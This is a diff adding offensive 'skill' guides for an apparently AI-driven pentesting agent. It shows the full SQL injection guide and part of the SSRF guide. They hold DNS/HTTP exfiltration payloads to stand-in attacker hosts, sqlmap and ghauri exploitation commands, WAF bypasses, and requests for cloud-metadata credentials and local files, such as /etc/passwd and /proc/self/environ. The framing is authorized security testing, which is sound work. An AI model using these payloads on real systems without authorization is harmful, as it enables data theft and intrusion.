- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,313 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: sql-injection
|
|
5
|
+
description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# SQL Injection
|
|
9
|
+
|
|
10
|
+
SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Databases**
|
|
15
|
+
- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
|
16
|
+
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
|
17
|
+
|
|
18
|
+
**Integration Paths**
|
|
19
|
+
- ORMs, query builders, stored procedures
|
|
20
|
+
- Search servers, reporting/exporters
|
|
21
|
+
|
|
22
|
+
**Input Locations**
|
|
23
|
+
- Path/query/body/header/cookie
|
|
24
|
+
- Mixed encodings (URL, JSON, XML, multipart)
|
|
25
|
+
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
|
26
|
+
- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
|
|
27
|
+
- JSON coercion or array containment operators
|
|
28
|
+
- Batch/bulk endpoints and report generators that embed filters directly
|
|
29
|
+
|
|
30
|
+
## Detection Channels
|
|
31
|
+
|
|
32
|
+
**Error-Based**
|
|
33
|
+
- Provoke type/constraint/parser errors revealing stack/version/paths
|
|
34
|
+
|
|
35
|
+
**Boolean-Based**
|
|
36
|
+
- Pair requests differing only in predicate truth
|
|
37
|
+
- Diff status/body/length/ETag
|
|
38
|
+
|
|
39
|
+
**Time-Based**
|
|
40
|
+
- `SLEEP`/`pg_sleep`/`WAITFOR`
|
|
41
|
+
- Use subselect gating to avoid global latency noise
|
|
42
|
+
|
|
43
|
+
**Out-of-Band (OAST)**
|
|
44
|
+
- DNS/HTTP callbacks via DB-specific primitives
|
|
45
|
+
|
|
46
|
+
## DBMS Primitives
|
|
47
|
+
|
|
48
|
+
### MySQL
|
|
49
|
+
|
|
50
|
+
- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
|
|
51
|
+
- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
|
|
52
|
+
- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
|
|
53
|
+
- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
|
|
54
|
+
- Time: `SLEEP(n)`, `BENCHMARK`
|
|
55
|
+
- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
|
|
56
|
+
|
|
57
|
+
### PostgreSQL
|
|
58
|
+
|
|
59
|
+
- Version/user/db: `version()`, `current_user`, `current_database()`
|
|
60
|
+
- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
|
|
61
|
+
- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
|
|
62
|
+
- Time: `pg_sleep(n)`
|
|
63
|
+
- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
|
|
64
|
+
- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
|
|
65
|
+
|
|
66
|
+
### MSSQL
|
|
67
|
+
|
|
68
|
+
- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
|
|
69
|
+
- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
|
|
70
|
+
- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
|
|
71
|
+
- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
|
|
72
|
+
- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
|
|
73
|
+
|
|
74
|
+
### Oracle
|
|
75
|
+
|
|
76
|
+
- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
|
|
77
|
+
- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
|
|
78
|
+
- Time: `dbms_lock.sleep(n)`
|
|
79
|
+
- Error-based: `to_number`/`to_date` conversions, `XMLType`
|
|
80
|
+
- File: `UTL_FILE` with directory objects (privileged)
|
|
81
|
+
|
|
82
|
+
## Key Vulnerabilities
|
|
83
|
+
|
|
84
|
+
### UNION-Based Extraction
|
|
85
|
+
|
|
86
|
+
- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
|
|
87
|
+
- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
|
|
88
|
+
- When UNION is filtered, switch to error-based or blind channels
|
|
89
|
+
|
|
90
|
+
### Blind Extraction
|
|
91
|
+
|
|
92
|
+
- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
|
|
93
|
+
- Binary search on character space for fewer requests
|
|
94
|
+
- Encode outputs (hex/base64) to normalize
|
|
95
|
+
- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
|
|
96
|
+
|
|
97
|
+
### Out-of-Band
|
|
98
|
+
|
|
99
|
+
- Prefer OAST to minimize noise and bypass strict response paths
|
|
100
|
+
- Embed data in DNS labels or HTTP query params
|
|
101
|
+
- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
|
|
102
|
+
- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
|
|
103
|
+
- MySQL: `LOAD_FILE` with UNC path
|
|
104
|
+
|
|
105
|
+
### Write Primitives
|
|
106
|
+
|
|
107
|
+
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
|
108
|
+
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
|
109
|
+
- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
|
|
110
|
+
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
|
111
|
+
|
|
112
|
+
### ORM and Query Builders
|
|
113
|
+
|
|
114
|
+
- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
|
|
115
|
+
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
|
116
|
+
- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
|
|
117
|
+
- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
|
|
118
|
+
|
|
119
|
+
### Uncommon Contexts
|
|
120
|
+
|
|
121
|
+
- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
|
|
122
|
+
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
|
123
|
+
- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
|
|
124
|
+
- XML/JSON functions: error generation via malformed documents/paths
|
|
125
|
+
|
|
126
|
+
## Bypass Techniques
|
|
127
|
+
|
|
128
|
+
**Whitespace/Spacing**
|
|
129
|
+
- `/**/`, `/**/!00000`, comments, newlines, tabs
|
|
130
|
+
- `0xe3 0x80 0x80` (ideographic space)
|
|
131
|
+
|
|
132
|
+
**Keyword Splitting**
|
|
133
|
+
- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
|
|
134
|
+
|
|
135
|
+
**Numeric Tricks**
|
|
136
|
+
- Scientific notation, signed/unsigned, hex (`0x61646d696e`)
|
|
137
|
+
|
|
138
|
+
**Encodings**
|
|
139
|
+
- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
|
|
140
|
+
- `char()`/`CONCAT_ws` to build tokens
|
|
141
|
+
|
|
142
|
+
**Clause Relocation**
|
|
143
|
+
- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
|
|
144
|
+
|
|
145
|
+
## Testing Methodology
|
|
146
|
+
|
|
147
|
+
1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
|
|
148
|
+
2. **Determine input influence** - User input in identifiers vs values
|
|
149
|
+
3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
|
|
150
|
+
4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
|
|
151
|
+
5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
|
|
152
|
+
6. **Pivot to metadata** - version, current user, database name
|
|
153
|
+
7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
|
|
154
|
+
|
|
155
|
+
## Validation
|
|
156
|
+
|
|
157
|
+
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
|
|
158
|
+
2. Extract verifiable metadata (version, current user, database name) using the established channel
|
|
159
|
+
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
|
|
160
|
+
4. Provide reproducible requests that differ only in the injected fragment
|
|
161
|
+
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
|
|
162
|
+
|
|
163
|
+
## False Positives
|
|
164
|
+
|
|
165
|
+
- Generic errors unrelated to SQL parsing or constraints
|
|
166
|
+
- Static response sizes due to templating rather than predicate truth
|
|
167
|
+
- Artificial delays from network/CPU unrelated to injected function calls
|
|
168
|
+
- Parameterized queries with no string concatenation, verified by code review
|
|
169
|
+
|
|
170
|
+
## Impact
|
|
171
|
+
|
|
172
|
+
- Direct data exfiltration and privacy/regulatory exposure
|
|
173
|
+
- Authentication and authorization bypass via manipulated predicates
|
|
174
|
+
- Server-side file access or command execution (platform/privilege dependent)
|
|
175
|
+
- Persistent supply-chain impact via modified data, jobs, or procedures
|
|
176
|
+
|
|
177
|
+
## Pro Tips
|
|
178
|
+
|
|
179
|
+
1. Pick the quietest reliable oracle first; avoid noisy long sleeps
|
|
180
|
+
2. Normalize responses (length/ETag/digest) to reduce variance when diffing
|
|
181
|
+
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
|
|
182
|
+
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
|
|
183
|
+
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
|
|
184
|
+
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
|
|
185
|
+
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
|
|
186
|
+
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
|
|
187
|
+
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
|
|
188
|
+
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
|
|
189
|
+
|
|
190
|
+
## Concrete Testing Workflow (Step-by-Step Commands)
|
|
191
|
+
|
|
192
|
+
This is the mandatory execution sequence. Parameter discovery → manual probe → tool confirmation.
|
|
193
|
+
Do NOT run sqlmap/ghauri as the first step. Discovery comes first.
|
|
194
|
+
|
|
195
|
+
### PHASE A — Parameter Discovery (find injectable candidates)
|
|
196
|
+
|
|
197
|
+
STEP A1: Extract SQLi candidate URLs from historical/crawled URL collections:
|
|
198
|
+
cat output/urls_all_deduped.txt | gf sqli | sort -u > output/sqli_candidates.txt
|
|
199
|
+
cat output/historical_urls.txt | gf sqli | sort -u >> output/sqli_candidates.txt
|
|
200
|
+
# gf sqli pattern matches params like: id=, uid=, user_id=, order=, sort=, page=, ref=
|
|
201
|
+
|
|
202
|
+
STEP A2: Discover hidden parameters on interesting endpoints using arjun:
|
|
203
|
+
# Run AFTER identifying specific endpoints from recon (not on every URL)
|
|
204
|
+
arjun -u "http://target.com/api/products" -o output/arjun_products.json --stable
|
|
205
|
+
arjun -u "http://target.com/search" -m GET -o output/arjun_search.json --stable
|
|
206
|
+
# arjun finds params the app accepts even if not shown in URL
|
|
207
|
+
|
|
208
|
+
STEP A3: Hidden parameter discovery with x8 (faster, for wordlist-based probing):
|
|
209
|
+
x8 -u "http://target.com/api/v1/user" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
210
|
+
-o output/x8_user_params.txt
|
|
211
|
+
x8 -u "http://target.com/search?q=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
212
|
+
-o output/x8_search_params.txt
|
|
213
|
+
|
|
214
|
+
STEP A4: Route all discovery traffic through Caido:
|
|
215
|
+
arjun -u "http://target.com/api/products" --proxy http://127.0.0.1:48080 -o output/arjun_products.json
|
|
216
|
+
x8 -u "http://target.com/search" --proxy http://127.0.0.1:48080 -o output/x8_search.txt
|
|
217
|
+
# Caido captures all probe requests for later review
|
|
218
|
+
|
|
219
|
+
### PHASE B — Manual Probe (confirm before scanning)
|
|
220
|
+
|
|
221
|
+
STEP B1: For each candidate parameter, send the three classic probes:
|
|
222
|
+
# Single quote probe (syntax error?)
|
|
223
|
+
curl -sk "http://target.com/search?q=test'" | grep -iE "error|sql|mysql|postgres|syntax|warning"
|
|
224
|
+
|
|
225
|
+
# Boolean tautology vs contradiction (different response?)
|
|
226
|
+
curl -sk "http://target.com/items?id=1 AND 1=1" > /tmp/true_response.txt
|
|
227
|
+
curl -sk "http://target.com/items?id=1 AND 1=2" > /tmp/false_response.txt
|
|
228
|
+
diff /tmp/true_response.txt /tmp/false_response.txt
|
|
229
|
+
# If diff shows meaningful difference: strong SQLi signal
|
|
230
|
+
|
|
231
|
+
# Time probe (DBMS-agnostic, start with short delay)
|
|
232
|
+
time curl -sk "http://target.com/items?id=1; SELECT SLEEP(3)--" -o /dev/null
|
|
233
|
+
# If response takes ≥3s longer: time-based SQLi confirmed
|
|
234
|
+
|
|
235
|
+
STEP B2: Route probes through Caido to capture evidence:
|
|
236
|
+
curl -sk -x http://127.0.0.1:48080 "http://target.com/search?q=test'" > /dev/null
|
|
237
|
+
curl -sk -x http://127.0.0.1:48080 "http://target.com/items?id=1 AND 1=1" > /dev/null
|
|
238
|
+
# Query Caido to compare responses:
|
|
239
|
+
curl -sL -X POST http://127.0.0.1:48080/graphql \
|
|
240
|
+
-H "Content-Type: application/json" \
|
|
241
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
242
|
+
-d '{"query":"{ requests(filter: {host: {eq: \"target.com\"}, path: {cont: \"search\"}}) { edges { node { id path response { statusCode length } } } } }"}'
|
|
243
|
+
|
|
244
|
+
STEP B3: Document confirmed signal before proceeding:
|
|
245
|
+
# REQUIRED: Record in output/sqli_confirmed.txt:
|
|
246
|
+
echo "TARGET: http://target.com/items?id=1" >> output/sqli_confirmed.txt
|
|
247
|
+
echo "PARAM: id" >> output/sqli_confirmed.txt
|
|
248
|
+
echo "SIGNAL: AND 1=1 vs AND 1=2 — response body length differs by 847 bytes" >> output/sqli_confirmed.txt
|
|
249
|
+
echo "DBMS_GUESS: MySQL (SLEEP function responded)" >> output/sqli_confirmed.txt
|
|
250
|
+
|
|
251
|
+
### PHASE C — Tool-Assisted Exploitation (only after Phase B confirms a parameter)
|
|
252
|
+
|
|
253
|
+
STEP C1: Run sqlmap on the confirmed parameter:
|
|
254
|
+
sqlmap -u "http://target.com/items?id=1" \
|
|
255
|
+
-p id \
|
|
256
|
+
--batch --level=1 --risk=1 \
|
|
257
|
+
--proxy http://127.0.0.1:48080 \
|
|
258
|
+
--output-dir output/sqlmap/
|
|
259
|
+
|
|
260
|
+
# If basic fails, escalate:
|
|
261
|
+
sqlmap -u "http://target.com/items?id=1" \
|
|
262
|
+
-p id \
|
|
263
|
+
--batch --level=3 --risk=2 \
|
|
264
|
+
--proxy http://127.0.0.1:48080 \
|
|
265
|
+
--output-dir output/sqlmap/
|
|
266
|
+
|
|
267
|
+
STEP C2: For POST body parameters:
|
|
268
|
+
sqlmap -u "http://target.com/login" \
|
|
269
|
+
--data "username=admin&password=test" \
|
|
270
|
+
-p username \
|
|
271
|
+
--batch --level=2 \
|
|
272
|
+
--proxy http://127.0.0.1:48080 \
|
|
273
|
+
--output-dir output/sqlmap/
|
|
274
|
+
|
|
275
|
+
STEP C3: Use ghauri as WAF-evasive alternative:
|
|
276
|
+
ghauri -u "http://target.com/items?id=1" \
|
|
277
|
+
--dbs --batch \
|
|
278
|
+
--proxy http://127.0.0.1:48080
|
|
279
|
+
|
|
280
|
+
STEP C4: After confirmation, extract database metadata:
|
|
281
|
+
sqlmap -u "<confirmed_injectable_url>" \
|
|
282
|
+
--dbs --batch \
|
|
283
|
+
--proxy http://127.0.0.1:48080 \
|
|
284
|
+
--output-dir output/sqlmap/
|
|
285
|
+
|
|
286
|
+
### PHASE D — Verification and PoC Documentation
|
|
287
|
+
|
|
288
|
+
STEP D1: Replay the confirmed injection in Caido to capture clean evidence:
|
|
289
|
+
# Use Caido Replay to send the exact injection manually
|
|
290
|
+
# This creates a clean, reproducible request/response pair as evidence
|
|
291
|
+
|
|
292
|
+
STEP D2: Extract verifiable data (version, current user, database name):
|
|
293
|
+
sqlmap -u "<confirmed_url>" \
|
|
294
|
+
--current-user --current-db --hostname \
|
|
295
|
+
--batch --proxy http://127.0.0.1:48080 \
|
|
296
|
+
--output-dir output/sqlmap/
|
|
297
|
+
# Document exact output in your report
|
|
298
|
+
|
|
299
|
+
STEP D3: Construct impact-demonstrating PoC for the report:
|
|
300
|
+
# For boolean-based blind: show the predicate toggle
|
|
301
|
+
curl "http://target.com/items?id=1 AND 1=1" → [200, N bytes with content]
|
|
302
|
+
curl "http://target.com/items?id=1 AND 1=2" → [200, M bytes empty/different]
|
|
303
|
+
# Difference in bytes = the boolean oracle
|
|
304
|
+
|
|
305
|
+
STEP D4: Only call create_vulnerability_report after:
|
|
306
|
+
- sqlmap/ghauri confirms injection (not just manual probe)
|
|
307
|
+
- At least one piece of verifiable data extracted (version, user, table name)
|
|
308
|
+
- Exact URL, parameter, injection type, and extraction result documented
|
|
309
|
+
- Reproducible curl command that demonstrates the behavioral difference
|
|
310
|
+
|
|
311
|
+
## Summary
|
|
312
|
+
|
|
313
|
+
Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
|
|
@@ -0,0 +1,183 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: ssrf
|
|
5
|
+
description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# SSRF
|
|
9
|
+
|
|
10
|
+
Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Scope**
|
|
15
|
+
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
|
16
|
+
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
|
17
|
+
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
|
18
|
+
- Cloud and platform metadata endpoints, instance services, and control planes
|
|
19
|
+
|
|
20
|
+
**Direct URL Params**
|
|
21
|
+
- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`
|
|
22
|
+
|
|
23
|
+
**Indirect Sources**
|
|
24
|
+
- Open Graph/link previews, PDF/image renderers
|
|
25
|
+
- Server-side analytics (Referer trackers), import/export jobs
|
|
26
|
+
- Webhooks/callback verifiers
|
|
27
|
+
|
|
28
|
+
**Protocol-Translating Services**
|
|
29
|
+
- PDF via wkhtmltopdf/Chrome headless, image pipelines
|
|
30
|
+
- Document parsers, SSO validators, archive expanders
|
|
31
|
+
|
|
32
|
+
**Less Obvious**
|
|
33
|
+
- GraphQL resolvers that fetch by URL
|
|
34
|
+
- Background crawlers, repository/package managers (git, npm, pip)
|
|
35
|
+
- Calendar (ICS) fetchers
|
|
36
|
+
|
|
37
|
+
## High-Value Targets
|
|
38
|
+
|
|
39
|
+
### AWS
|
|
40
|
+
|
|
41
|
+
- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`
|
|
42
|
+
- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs
|
|
43
|
+
- If sink cannot set headers or methods, seek intermediaries that can
|
|
44
|
+
- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
|
|
45
|
+
|
|
46
|
+
### GCP
|
|
47
|
+
|
|
48
|
+
- Endpoint: `http://metadata.google.internal/computeMetadata/v1/`
|
|
49
|
+
- Required header: `Metadata-Flavor: Google`
|
|
50
|
+
- Target: `/instance/service-accounts/default/token`
|
|
51
|
+
|
|
52
|
+
### Azure
|
|
53
|
+
|
|
54
|
+
- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
|
|
55
|
+
- Required header: `Metadata: true`
|
|
56
|
+
- MSI OAuth: `/metadata/identity/oauth2/token`
|
|
57
|
+
|
|
58
|
+
### Kubernetes
|
|
59
|
+
|
|
60
|
+
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)
|
|
61
|
+
- Probe `/pods`, `/metrics`, exec/attach endpoints
|
|
62
|
+
- API server: `https://kubernetes.default.svc/`
|
|
63
|
+
- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them
|
|
64
|
+
- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)
|
|
65
|
+
|
|
66
|
+
### Internal Services
|
|
67
|
+
|
|
68
|
+
- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)
|
|
69
|
+
- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379
|
|
70
|
+
- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`
|
|
71
|
+
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
|
72
|
+
- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)
|
|
73
|
+
|
|
74
|
+
## Key Vulnerabilities
|
|
75
|
+
|
|
76
|
+
### Protocol Exploitation
|
|
77
|
+
|
|
78
|
+
**Gopher**
|
|
79
|
+
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)
|
|
80
|
+
- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
|
81
|
+
|
|
82
|
+
**File and Wrappers**
|
|
83
|
+
- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers
|
|
84
|
+
- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled
|
|
85
|
+
|
|
86
|
+
### Address Variants
|
|
87
|
+
|
|
88
|
+
- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`
|
|
89
|
+
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16
|
|
90
|
+
- Test IPv6-mapped and mixed-notation forms
|
|
91
|
+
|
|
92
|
+
### URL Confusion
|
|
93
|
+
|
|
94
|
+
- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`
|
|
95
|
+
- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`
|
|
96
|
+
- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes
|
|
97
|
+
|
|
98
|
+
### Redirect Abuse
|
|
99
|
+
|
|
100
|
+
- Allowlist only applied pre-redirect: 302 from attacker → internal host
|
|
101
|
+
- Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
|
102
|
+
|
|
103
|
+
### Header and Method Control
|
|
104
|
+
|
|
105
|
+
- Some sinks reflect or allow CRLF-injection into the request line/headers
|
|
106
|
+
- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
|
107
|
+
|
|
108
|
+
## Bypass Techniques
|
|
109
|
+
|
|
110
|
+
**Address Encoding**
|
|
111
|
+
- Decimal, hex, octal representations of IP addresses
|
|
112
|
+
- IPv6 variants, IPv4-mapped IPv6, mixed notation
|
|
113
|
+
|
|
114
|
+
**DNS Rebinding**
|
|
115
|
+
- First resolution returns allowed IP, second returns internal target
|
|
116
|
+
- Use short TTL DNS records under attacker control
|
|
117
|
+
|
|
118
|
+
**URL Parser Differentials**
|
|
119
|
+
- Different parsing between allowlist checker and actual fetcher
|
|
120
|
+
- Exploit inconsistencies in scheme, host, port, path handling
|
|
121
|
+
|
|
122
|
+
**Redirect Chains**
|
|
123
|
+
- Initial URL passes allowlist, redirect targets internal host
|
|
124
|
+
- Protocol downgrade/upgrade through redirects
|
|
125
|
+
|
|
126
|
+
## Blind SSRF
|
|
127
|
+
|
|
128
|
+
- Use OAST (DNS/HTTP) to confirm egress
|
|
129
|
+
- Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
|
130
|
+
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
|
131
|
+
|
|
132
|
+
## Chaining Attacks
|
|
133
|
+
|
|
134
|
+
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
|
135
|
+
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
|
136
|
+
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement
|
|
137
|
+
|
|
138
|
+
## Testing Methodology
|
|
139
|
+
|
|
140
|
+
1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs
|
